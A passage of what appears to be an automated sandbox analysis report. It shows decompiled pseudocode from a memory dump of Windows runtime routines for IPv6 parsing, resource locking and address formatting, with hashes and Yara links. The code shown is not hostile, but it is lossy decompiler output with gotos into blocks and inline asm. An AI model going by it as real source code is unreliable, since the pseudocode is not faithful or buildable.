							E00B58980(_a12 + 0x10 + (_t174 - _v8) * 2, _a12 + _t174 * 2, _v8 - _t174 + _v8 - _t174);
							_t116 = 8;
							E00B4DFC0(_a12 + _t174 * 2, 0, _t116 - _v8 + _t116 - _v8);
						}
						return 0;
					}
					if(_t180 != 0) {
						if(_v12 > 3) {
							goto L6;
						}
						_t120 = E00B80CFA(_v28, 0, 0xa);
						_t183 = _t183 + 0xc;
						if(_t120 > 0xff) {
							goto L6;
						}
						 *((char*)(_t180 + _v20 * 2 + _a12)) = _t120;
						goto L47;
					}
					if(_v12 > 4) {
						goto L6;
					}
					_t121 = E00B80CFA(_v28, _t180, 0x10);
					_t183 = _t183 + 0xc;
					 *((short*)(_a12 + _v20 * 2)) = _t121;
					goto L47;
				} else {
					while(1) {
						_t123 = _v16;
						if(_t123 == 0) {
							goto L7;
						}
						_t108 = _t123 - 1;
						if(_t108 != 0) {
							goto L1;
						}
						_t178 = _t141;
						if(E00B806BA(_t108, _t141) == 0 || _t135 == 0) {
							if(E00B806BA(_t135, _t178) == 0 || E00B80A5B(_t136, _t178) == 0) {
								if(_t141 != 0x3a) {
									if(_t141 == 0x2e) {
										if(_a7 != 0 || _v24 > 2 || _v8 > 6) {
											goto L41;
										} else {
											_v24 = _v24 + 1;
											L27:
											_v16 = _v16 & 0x00000000;
											L28:
											if(_v28 == 0) {
												goto L20;
											}
											_t177 = _v24;
											if(_t177 != 0) {
												if(_v12 > 3) {
													L6:
													return 0xc000000d;
												}
												_t132 = E00B80CFA(_v28, 0, 0xa);
												_t183 = _t183 + 0xc;
												if(_t132 > 0xff) {
													goto L6;
												}
												 *((char*)(_t177 + _v20 * 2 + _a12 - 1)) = _t132;
												goto L20;
											}
											if(_v12 > 4) {
												goto L6;
											}
											_t133 = E00B80CFA(_v28, 0, 0x10);
											_t183 = _t183 + 0xc;
											_v20 = _v20 + 1;
											 *((short*)(_a12 + _v20 * 2)) = _t133;
											goto L20;
										}
									}
									goto L41;
								}
								if(_v24 > 0 || _v8 > 6) {
									goto L41;
								} else {
									_t130 = _t179 + 1;
									if( *_t130 == _t141) {
										if(_v32 != 0) {
											goto L41;
										}
										_v32 = _v8 + 1;
										_t156 = 2;
										_v8 = _v8 + _t156;
										L34:
										_t179 = _t130;
										_v16 = _t156;
										goto L28;
									}
									_v8 = _v8 + 1;
									goto L27;
								}
							} else {
								_v12 = _v12 + 1;
								if(_v24 > 0) {
									goto L41;
								}
								_a7 = 1;
								goto L20;
							}
						} else {
							_v12 = _v12 + 1;
							L20:
							_t179 = _t179 + 1;
							_t141 =  *_t179;
							if(_t141 == 0) {
								goto L41;
							}
							continue;
						}
						L7:
						if(_t141 == 0x3a) {
							if(_v24 > 0 || _v8 > 0) {
								goto L41;
							} else {
								_t130 = _t179 + 1;
								if( *_t130 != _t141) {
									goto L41;
								}
								_v20 = _v20 + 1;
								_t156 = 2;
								_v32 = 1;
								_v8 = _t156;
								 *((short*)(_a12 + _v20 * 2)) = 0;
								goto L34;
							}
						}
						L8:
						if(_v8 > 7) {
							goto L41;
						}
						_t142 = _t141;
						if(E00B806BA(_t123, _t141) == 0 || _t124 == 0) {
							if(E00B806BA(_t124, _t142) == 0 || E00B80A5B(_t125, _t142) == 0 || _v24 > 0) {
								goto L41;
							} else {
								_t128 = 1;
								_a7 = 1;
								_v28 = _t179;
								_v16 = 1;
								_v12 = 1;
								L39:
								if(_v16 == _t128) {
									goto L20;
								}
								goto L28;
							}
						} else {
							_a7 = 0;
							_v28 = _t179;
							_v16 = 1;
							_v12 = 1;
							goto L20;
						}
					}
				}
				L1:
				_t123 = _t108 == 1;
				if(_t108 == 1) {
					goto L8;
				}
				_t128 = 1;
				goto L39;
			}

0x00b80b21
0x00b80b24
0x00b80b27
0x00b80b2a
0x00b80b2d
0x00b80b30
0x00b80b33
0x00b80b36
0x00b80b39
0x00b80b3e
0x00b80c65
0x00b80c68
0x00b80c6a
0x00b80c6f
0x00baeb42
0x00000000
0x00000000
0x00baeb48
0x00baeb48
0x00b80c75
0x00b80c7a
0x00baeb54
0x00000000
0x00000000
0x00000000
0x00baeb5a
0x00b80c80
0x00b80c84
0x00baeb98
0x00000000
0x00000000
0x00baeba6
0x00b80cb8
0x00b80cba
0x00b80cd3
0x00b80cda
0x00b80ce4
0x00b80ce9
0x00000000
0x00b80cec
0x00b80c8c
0x00baeb63
0x00000000
0x00000000
0x00baeb70
0x00baeb75
0x00baeb7d
0x00000000
0x00000000
0x00baeb8c
0x00000000
0x00baeb8c
0x00b80c96
0x00000000
0x00000000
0x00b80ca2
0x00b80cac
0x00b80cb4
0x00000000
0x00000000
0x00b80b44
0x00b80b47
0x00b80b49
0x00000000
0x00000000
0x00b80b4f
0x00b80b50
0x00000000
0x00000000
0x00b80b56
0x00b80b62
0x00b80b7c
0x00b80bac
0x00b80a0f
0x00baeaaa
0x00000000
0x00baeac4
0x00baeac4
0x00b80bd0
0x00b80bd0
0x00b80bd4
0x00b80bd9
0x00000000
0x00000000
0x00b80bdb
0x00b80be0
0x00baeb0e
0x00b80a1a
0x00000000
0x00b80a1a
0x00baeb1a
0x00baeb1f
0x00baeb27
0x00000000
0x00000000
0x00baeb36
0x00000000
0x00baeb36
0x00b80bea
0x00000000
0x00000000
0x00b80bf6
0x00b80c00
0x00b80c03
0x00b80c0b
0x00000000
0x00b80c0b
0x00baeaaa
0x00000000
0x00b80a15
0x00b80bb6
0x00000000
0x00b80bc6
0x00b80bc6
0x00b80bcb
0x00b80c15
0x00000000
0x00000000
0x00b80c1d
0x00b80c20
0x00b80c21
0x00b80c24
0x00b80c24
0x00b80c26
0x00000000
0x00b80c26
0x00b80bcd
0x00000000
0x00b80bcd
0x00b80b89
0x00b80b89
0x00b80b90
0x00000000
0x00000000
0x00b80b96
0x00000000
0x00b80b96
0x00b80a04
0x00b80a04
0x00b80b9a
0x00b80b9a
0x00b80b9b
0x00b80b9f
0x00000000
0x00000000
0x00000000
0x00b80ba5
0x00b80ac7
0x00b80aca
0x00baeacf
0x00000000
0x00baeade
0x00baeade
0x00baeae3
0x00000000
0x00000000
0x00baeaf3
0x00baeaf6
0x00baeaf7
0x00baeafe
0x00baeb01
0x00000000
0x00baeb01
0x00baeacf
0x00b80ad0
0x00b80ad4
0x00000000
0x00000000
0x00b80ada
0x00b80ae6
0x00b80c34
0x00000000
0x00b80c47
0x00b80c49
0x00b80c4a
0x00b80c4e
0x00b80c51
0x00b80c54
0x00b80c57
0x00b80c5a
0x00000000
0x00000000
0x00000000
0x00b80c60
0x00b80afb
0x00b80afe
0x00b80b02
0x00b80b05
0x00b80b08
0x00000000
0x00b80b08
0x00b80ae6
0x00b80b44
0x00b809f8
0x00b809f8
0x00b809f9
0x00000000
0x00000000
0x00baeaa0
0x00000000

APIs

__fassign.LIBCMT ref: 00B80BF6
__fassign.LIBCMT ref: 00B80CA2

Strings

:, xrefs: 00B80AC7
:, xrefs: 00B80BA9
., xrefs: 00B80A0C

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: __fassign
String ID: .$:$:
API String ID: 3965848254-2308638275
Opcode ID: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction ID: 869d2ac79ee744b81cea8c7edb310d99615b494688bca63cf6be48264a2bbf88
Opcode Fuzzy Hash: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction Fuzzy Hash: FBA1BF3192430ADFDBA4FF54C8856BEBBF4EF05384F2485EAD812A7261D6309A49CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00B80554, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00B80554(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int* _t49;
				signed int _t51;
				signed int _t56;
				signed int _t58;
				signed int _t61;
				signed int _t63;
				void* _t66;
				intOrPtr _t67;
				void* _t69;
				signed int _t70;
				void* _t75;
				signed int _t81;
				signed int _t84;
				void* _t86;
				signed int _t93;
				signed int _t96;
				intOrPtr _t105;
				signed int _t107;
				void* _t110;
				signed int _t115;
				signed int* _t119;
				void* _t125;
				void* _t126;
				signed int _t128;
				signed int _t130;
				signed int _t138;
				signed int _t144;
				void* _t158;
				void* _t159;
				void* _t160;

				_t96 = _a4;
				_t115 =  *(_t96 + 0x28);
				_push(_t138);
				if(_t115 < 0) {
					_t105 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t96 + 0x2c)) -  *((intOrPtr*)(_t105 + 0x24));
					if( *((intOrPtr*)(_t96 + 0x2c)) !=  *((intOrPtr*)(_t105 + 0x24))) {
						goto L6;
					} else {
						__eflags = _t115 | 0xffffffff;
						asm("lock xadd [eax], edx");
						return 1;
					}
				} else {
					L6:
					_push(_t128);
					while(1) {
						L7:
						__eflags = _t115;
						if(_t115 >= 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
							_t49 = _t96 + 0x1c;
							_t106 = 1;
							asm("lock xadd [edx], ecx");
							_t115 =  *(_t96 + 0x28);
							__eflags = _t115;
							if(_t115 < 0) {
								L23:
								_t130 = 0;
								__eflags = 0;
								while(1) {
									_t118 =  *(_t96 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t144 =  !( ~( *(_t96 + 0x30) & 1)) & 0x00c201c0;
									_push(_t144);
									_push(0);
									_t51 = E00B3F8CC( *((intOrPtr*)(_t96 + 0x18)));
									__eflags = _t51 - 0x102;
									if(_t51 != 0x102) {
										break;
									}
									_t106 =  *(_t144 + 4);
									_t126 =  *_t144;
									_t86 = E00B84FC0(_t126,  *(_t144 + 4), 0xff676980, 0xffffffff);
									_push(_t126);
									_push(_t86);
									E00B93F92(0x65, 0, "RTL: Acquire Shared Sem Timeout %d(%I64u secs)\n", _t130);
									E00B93F92(0x65, 0, "RTL: Resource at %p\n", _t96);
									_t130 = _t130 + 1;
									_t160 = _t158 + 0x28;
									__eflags = _t130 - 2;
									if(__eflags > 0) {
										E00BC217A(_t106, __eflags, _t96);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									E00B93F92();
									_t158 = _t160 + 0xc;
								}
								__eflags = _t51;
								if(__eflags < 0) {
									_push(_t51);
									E00B83915(_t96, _t106, _t118, _t130, _t144, __eflags);
									asm("int3");
									while(1) {
										L32:
										__eflags = _a8;
										if(_a8 == 0) {
											break;
										}
										 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
										_t119 = _t96 + 0x24;
										_t107 = 1;
										asm("lock xadd [eax], ecx");
										_t56 =  *(_t96 + 0x28);
										_a4 = _t56;
										__eflags = _t56;
										if(_t56 != 0) {
											L40:
											_t128 = 0;
											__eflags = 0;
											while(1) {
												_t121 =  *(_t96 + 0x30) & 0x00000001;
												asm("sbb esi, esi");
												_t138 =  !( ~( *(_t96 + 0x30) & 1)) & 0x00c201c0;
												_push(_t138);
												_push(0);
												_t58 = E00B3F8CC( *((intOrPtr*)(_t96 + 0x20)));
												__eflags = _t58 - 0x102;
												if(_t58 != 0x102) {
													break;
												}
												_t107 =  *(_t138 + 4);
												_t125 =  *_t138;
												_t75 = E00B84FC0(_t125, _t107, 0xff676980, 0xffffffff);
												_push(_t125);
												_push(_t75);
												E00B93F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t128);
												E00B93F92(0x65, 0, "RTL: Resource at %p\n", _t96);
												_t128 = _t128 + 1;
												_t159 = _t158 + 0x28;
												__eflags = _t128 - 2;
												if(__eflags > 0) {
													E00BC217A(_t107, __eflags, _t96);
												}
												_push("RTL: Re-Waiting\n");
												_push(0);
												_push(0x65);
												E00B93F92();
												_t158 = _t159 + 0xc;
											}
											__eflags = _t58;
											if(__eflags < 0) {
												_push(_t58);
												E00B83915(_t96, _t107, _t121, _t128, _t138, __eflags);
												asm("int3");
												_t61 =  *_t107;
												 *_t107 = 0;
												__eflags = _t61;
												if(_t61 == 0) {
													L1:
													_t63 = E00B65384(_t138 + 0x24);
													if(_t63 != 0) {
														goto L52;
													} else {
														goto L2;
													}
												} else {
													_t123 =  *((intOrPtr*)(_t138 + 0x18));
													_push( &_a4);
													_push(_t61);
													_t70 = E00B3F970( *((intOrPtr*)(_t138 + 0x18)));
													__eflags = _t70;
													if(__eflags >= 0) {
														goto L1;
													} else {
														_push(_t70);
														E00B83915(_t96,  &_a4, _t123, _t128, _t138, __eflags);
														L52:
														_t122 =  *((intOrPtr*)(_t138 + 0x20));
														_push( &_a4);
														_push(1);
														_t63 = E00B3F970( *((intOrPtr*)(_t138 + 0x20)));
														__eflags = _t63;
														if(__eflags >= 0) {
															L2:
															return _t63;
														} else {
															_push(_t63);
															E00B83915(_t96,  &_a4, _t122, _t128, _t138, __eflags);
															_t109 =  *((intOrPtr*)(_t138 + 0x20));
															_push( &_a4);
															_push(1);
															_t63 = E00B3F970( *((intOrPtr*)(_t138 + 0x20)));
															__eflags = _t63;
															if(__eflags >= 0) {
																goto L2;
															} else {
																_push(_t63);
																_t66 = E00B83915(_t96, _t109, _t122, _t128, _t138, __eflags);
																asm("int3");
																while(1) {
																	_t110 = _t66;
																	__eflags = _t66 - 1;
																	if(_t66 != 1) {
																		break;
																	}
																	_t128 = _t128 | 0xffffffff;
																	_t66 = _t110;
																	asm("lock cmpxchg [ebx], edi");
																	__eflags = _t66 - _t110;
																	if(_t66 != _t110) {
																		continue;
																	} else {
																		_t67 =  *[fs:0x18];
																		 *((intOrPtr*)(_t138 + 0x2c)) =  *((intOrPtr*)(_t67 + 0x24));
																		return _t67;
																	}
																	goto L59;
																}
																E00B65329(_t110, _t138);
																_t69 = E00B653A5(_t138, 1);
																return _t69;
															}
														}
													}
												}
											} else {
												_t56 =  *(_t96 + 0x28);
												goto L3;
											}
										} else {
											_t107 =  *_t119;
											__eflags = _t107;
											if(__eflags > 0) {
												while(1) {
													_t81 = _t107;
													asm("lock cmpxchg [edi], esi");
													__eflags = _t81 - _t107;
													if(_t81 == _t107) {
														break;
													}
													_t107 = _t81;
													__eflags = _t81;
													if(_t81 > 0) {
														continue;
													}
													break;
												}
												_t56 = _a4;
												__eflags = _t107;
											}
											if(__eflags != 0) {
												while(1) {
													L3:
													__eflags = _t56;
													if(_t56 != 0) {
														goto L32;
													}
													_t107 = _t107 | 0xffffffff;
													_t56 = 0;
													asm("lock cmpxchg [edx], ecx");
													__eflags = 0;
													if(0 != 0) {
														continue;
													} else {
														 *((intOrPtr*)(_t96 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
														return 1;
													}
													goto L59;
												}
												continue;
											} else {
												goto L40;
											}
										}
										goto L59;
									}
									__eflags = 0;
									return 0;
								} else {
									_t115 =  *(_t96 + 0x28);
									continue;
								}
							} else {
								_t106 =  *_t49;
								__eflags = _t106;
								if(__eflags > 0) {
									while(1) {
										_t93 = _t106;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t93 - _t106;
										if(_t93 == _t106) {
											break;
										}
										_t106 = _t93;
										__eflags = _t93;
										if(_t93 > 0) {
											continue;
										}
										break;
									}
									__eflags = _t106;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L23;
								}
							}
						}
						goto L59;
					}
					_t84 = _t115;
					asm("lock cmpxchg [esi], ecx");
					__eflags = _t84 - _t115;
					if(_t84 != _t115) {
						_t115 = _t84;
						goto L7;
					} else {
						return 1;
					}
				}
				L59:
			}

0x00b8055a
0x00b8055d
0x00b80563
0x00b80566
0x00b805d8
0x00b805e2
0x00b805e5
0x00000000
0x00b805e7
0x00b805e7
0x00b805ea
0x00b805f3
0x00b805f3
0x00b80568
0x00b80568
0x00b80568
0x00b80569
0x00b80569
0x00b80569
0x00b8056b
0x00000000
0x00000000
0x00ba217f
0x00ba2183
0x00ba225b
0x00ba225f
0x00ba2189
0x00ba218c
0x00ba218f
0x00ba2194
0x00ba2199
0x00ba219d
0x00ba21a0
0x00ba21a2
0x00ba21ce
0x00ba21ce
0x00ba21ce
0x00ba21d0
0x00ba21d6
0x00ba21de
0x00ba21e2
0x00ba21e8
0x00ba21e9
0x00ba21ec
0x00ba21f1
0x00ba21f6
0x00000000
0x00000000
0x00ba21f8
0x00ba21fb
0x00ba2206
0x00ba220b
0x00ba220c
0x00ba2217
0x00ba2226
0x00ba222b
0x00ba222c
0x00ba222f
0x00ba2232
0x00ba2235
0x00ba2235
0x00ba223a
0x00ba223f
0x00ba2241
0x00ba2243
0x00ba2248
0x00ba2248
0x00ba224d
0x00ba224f
0x00ba2262
0x00ba2263
0x00ba2268
0x00ba2269
0x00ba2269
0x00ba2269
0x00ba226d
0x00000000
0x00000000
0x00ba2276
0x00ba2279
0x00ba227e
0x00ba2283
0x00ba2287
0x00ba228a
0x00ba228d
0x00ba228f
0x00ba22bc
0x00ba22bc
0x00ba22bc
0x00ba22be
0x00ba22c4
0x00ba22cc
0x00ba22d0
0x00ba22d6
0x00ba22d7
0x00ba22da
0x00ba22df
0x00ba22e4
0x00000000
0x00000000
0x00ba22e6
0x00ba22e9
0x00ba22f4
0x00ba22f9
0x00ba22fa
0x00ba2305
0x00ba2314
0x00ba2319
0x00ba231a
0x00ba231d
0x00ba2320
0x00ba2323
0x00ba2323
0x00ba2328
0x00ba232d
0x00ba232f
0x00ba2331
0x00ba2336
0x00ba2336
0x00ba233b
0x00ba233d
0x00ba2350
0x00ba2351
0x00ba2356
0x00ba2359
0x00ba2359
0x00ba235b
0x00ba235d
0x00b65367
0x00b6536b
0x00b65372
0x00000000
0x00000000
0x00000000
0x00000000
0x00ba2363
0x00ba2363
0x00ba2369
0x00ba236a
0x00ba236c
0x00ba2371
0x00ba2373
0x00000000
0x00ba2379
0x00ba2379
0x00ba237a
0x00ba237f
0x00ba237f
0x00ba2385
0x00ba2386
0x00ba2389
0x00ba238e
0x00ba2390
0x00b65378
0x00b6537c
0x00ba2396
0x00ba2396
0x00ba2397
0x00ba239c
0x00ba23a2
0x00ba23a3
0x00ba23a6
0x00ba23ab
0x00ba23ad
0x00000000
0x00ba23b3
0x00ba23b3
0x00ba23b4
0x00ba23b9
0x00ba23ba
0x00ba23ba
0x00ba23bc
0x00ba23bf
0x00000000
0x00000000
0x00b99153
0x00b99158
0x00b9915a
0x00b9915e
0x00b99160
0x00000000
0x00b99166
0x00b99166
0x00b99171
0x00b99176
0x00b99176
0x00000000
0x00b99160
0x00ba23c6
0x00ba23ce
0x00ba23d7
0x00ba23d7
0x00ba23ad
0x00ba2390
0x00ba2373
0x00ba233f
0x00ba233f
0x00000000
0x00ba233f
0x00ba2291
0x00ba2291
0x00ba2293
0x00ba2295
0x00ba229a
0x00ba22a1
0x00ba22a3
0x00ba22a7
0x00ba22a9
0x00000000
0x00000000
0x00ba22ab
0x00ba22ad
0x00ba22af
0x00000000
0x00000000
0x00000000
0x00ba22af
0x00ba22b1
0x00ba22b4
0x00ba22b4
0x00ba22b6
0x00b653be
0x00b653be
0x00b653be
0x00b653c0
0x00000000
0x00000000
0x00b653cb
0x00b653ce
0x00b653d0
0x00b653d4
0x00b653d6
0x00000000
0x00b653d8
0x00b653e3
0x00b653ea
0x00b653ea
0x00000000
0x00b653d6
0x00000000
0x00000000
0x00000000
0x00000000
0x00ba22b6
0x00000000
0x00ba228f
0x00ba2349
0x00ba234d
0x00ba2251
0x00ba2251
0x00000000
0x00ba2251
0x00ba21a4
0x00ba21a4
0x00ba21a6
0x00ba21a8
0x00ba21ac
0x00ba21b6
0x00ba21b8
0x00ba21bc
0x00ba21be
0x00000000
0x00000000
0x00ba21c0
0x00ba21c2
0x00ba21c4
0x00000000
0x00000000
0x00000000
0x00ba21c4
0x00ba21c6
0x00ba21c6
0x00ba21c8
0x00000000
0x00000000
0x00000000
0x00000000
0x00ba21c8
0x00ba21a2
0x00000000
0x00ba2183
0x00b8057b
0x00b8057d
0x00b80581
0x00b80583
0x00ba2178
0x00000000
0x00b80589
0x00b8058f
0x00b8058f
0x00b80583
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00BA2206

Strings

RTL: Resource at %p, xrefs: 00BA221D, 00BA230B
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 00BA220E
RTL: Re-Waiting, xrefs: 00BA223A, 00BA2328
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 00BA22FC

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-4236105082
Opcode ID: 11001be3ece9dacbb97872bbf7829fe4a24a2c44ac2975a09b936c8b440b9f47
Instruction ID: a7caabe5570d2202f66f74593141e0a2203afa546c32e10283c65fdb73b131d6
Opcode Fuzzy Hash: 11001be3ece9dacbb97872bbf7829fe4a24a2c44ac2975a09b936c8b440b9f47
Instruction Fuzzy Hash: A2510635B042116FEF149B18CC81FA673E9EF95720F2142A9FD55EB286DA61EC4187A0

Uniqueness

Uniqueness Score: -1.00%

Function 00B814C0, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00B814C0(void* __ecx, void* __edx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr* _a20) {
				signed int _v8;
				char _v10;
				char _v140;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t24;
				void* _t26;
				signed int _t29;
				signed int _t34;
				signed int _t40;
				intOrPtr _t45;
				void* _t51;
				intOrPtr* _t52;
				void* _t54;
				signed int _t57;
				void* _t58;

				_t51 = __edx;
				_t24 =  *0xc22088; // 0x776bde31
				_v8 = _t24 ^ _t57;
				_t45 = _a16;
				_t53 = _a4;
				_t52 = _a20;
				if(_a4 == 0 || _t52 == 0) {
					L10:
					_t26 = 0xc000000d;
				} else {
					if(_t45 == 0) {
						if( *_t52 == _t45) {
							goto L3;
						} else {
							goto L10;
						}
					} else {
						L3:
						_t28 =  &_v140;
						if(_a12 != 0) {
							_push("[");
							_push(0x41);
							_push( &_v140);
							_t29 = E00B77707();
							_t58 = _t58 + 0xc;
							_t28 = _t57 + _t29 * 2 - 0x88;
						}
						_t54 = E00B813CB(_t53, _t28);
						if(_a8 != 0) {
							_t34 = E00B77707(_t54,  &_v10 - _t54 >> 1, L"%%%u", _a8);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t34 * 2;
						}
						if(_a12 != 0) {
							_t40 = E00B77707(_t54,  &_v10 - _t54 >> 1, L"]:%u", _a12 & 0x0000ffff);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t40 * 2;
						}
						_t53 = (_t54 -  &_v140 >> 1) + 1;
						 *_t52 = _t53;
						if( *_t52 < _t53) {
							goto L10;
						} else {
							E00B42340(_t45,  &_v140, _t53 + _t53);
							_t26 = 0;
						}
					}
				}
				return E00B4E1B4(_t26, _t45, _v8 ^ _t57, _t51, _t52, _t53);
			}

0x00b814c0
0x00b814cb
0x00b814d2
0x00b814d6
0x00b814da
0x00b814de
0x00b814e3
0x00b8157a
0x00b8157a
0x00b814f1
0x00b814f3
0x00baea0f
0x00000000
0x00baea15
0x00000000
0x00baea15
0x00b814f9
0x00b814f9
0x00b814fe
0x00b81504
0x00baea1a
0x00baea1f
0x00baea21
0x00baea22
0x00baea27
0x00baea2a
0x00baea2a
0x00b81515
0x00b81517
0x00b8156d
0x00b81572
0x00b81575
0x00b81575
0x00b8151e
0x00baea50
0x00baea55
0x00baea58
0x00baea58
0x00b8152e
0x00b81531
0x00b81533
0x00000000
0x00b81535
0x00b81541
0x00b81549
0x00b81549
0x00b81533
0x00b814f3
0x00b81559

APIs

___swprintf_l.LIBCMT ref: 00BAEA22

Part of subcall function 00B813CB: ___swprintf_l.LIBCMT ref: 00B8146B
Part of subcall function 00B813CB: ___swprintf_l.LIBCMT ref: 00B81490

___swprintf_l.LIBCMT ref: 00B8156D

Strings

%%%u, xrefs: 00B81564
]:%u, xrefs: 00BAEA47

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: 39a2f9f4879e5a0294eac70a0e5438064c9fc8cc0bd766899bf7ec1a1662c120
Instruction ID: 24da8c14b709117b394c08821b95cc1e599ea28d1d8c439ce11dd26511082cdc
Opcode Fuzzy Hash: 39a2f9f4879e5a0294eac70a0e5438064c9fc8cc0bd766899bf7ec1a1662c120
Instruction Fuzzy Hash: B4218F72901219ABCB20EE58CC41AEF73ECEB60700F4449A6F856E3151DB70EE59CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 00B653A5, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00B653A5(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t32;
				signed int _t37;
				signed int _t40;
				signed int _t42;
				void* _t45;
				intOrPtr _t46;
				void* _t48;
				signed int _t49;
				void* _t51;
				signed int _t57;
				signed int _t64;
				signed int _t71;
				void* _t74;
				intOrPtr _t78;
				signed int* _t79;
				void* _t85;
				signed int _t86;
				signed int _t92;
				void* _t104;
				void* _t105;

				_t64 = _a4;
				_t32 =  *(_t64 + 0x28);
				_t71 = _t64 + 0x28;
				_push(_t92);
				if(_t32 < 0) {
					_t78 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t64 + 0x2c)) -  *((intOrPtr*)(_t78 + 0x24));
					if( *((intOrPtr*)(_t64 + 0x2c)) !=  *((intOrPtr*)(_t78 + 0x24))) {
						goto L3;
					} else {
						__eflags = _t32 | 0xffffffff;
						asm("lock xadd [ecx], eax");
						return 1;
					}
				} else {
					L3:
					_push(_t86);
					while(1) {
						L4:
						__eflags = _t32;
						if(_t32 == 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) + 1;
							_t79 = _t64 + 0x24;
							_t71 = 1;
							asm("lock xadd [eax], ecx");
							_t32 =  *(_t64 + 0x28);
							_a4 = _t32;
							__eflags = _t32;
							if(_t32 != 0) {
								L19:
								_t86 = 0;
								__eflags = 0;
								while(1) {
									_t81 =  *(_t64 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t92 =  !( ~( *(_t64 + 0x30) & 1)) & 0x00c201c0;
									_push(_t92);
									_push(0);
									_t37 = E00B3F8CC( *((intOrPtr*)(_t64 + 0x20)));
									__eflags = _t37 - 0x102;
									if(_t37 != 0x102) {
										break;
									}
									_t71 =  *(_t92 + 4);
									_t85 =  *_t92;
									_t51 = E00B84FC0(_t85, _t71, 0xff676980, 0xffffffff);
									_push(_t85);
									_push(_t51);
									E00B93F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t86);
									E00B93F92(0x65, 0, "RTL: Resource at %p\n", _t64);
									_t86 = _t86 + 1;
									_t105 = _t104 + 0x28;
									__eflags = _t86 - 2;
									if(__eflags > 0) {
										E00BC217A(_t71, __eflags, _t64);
									}
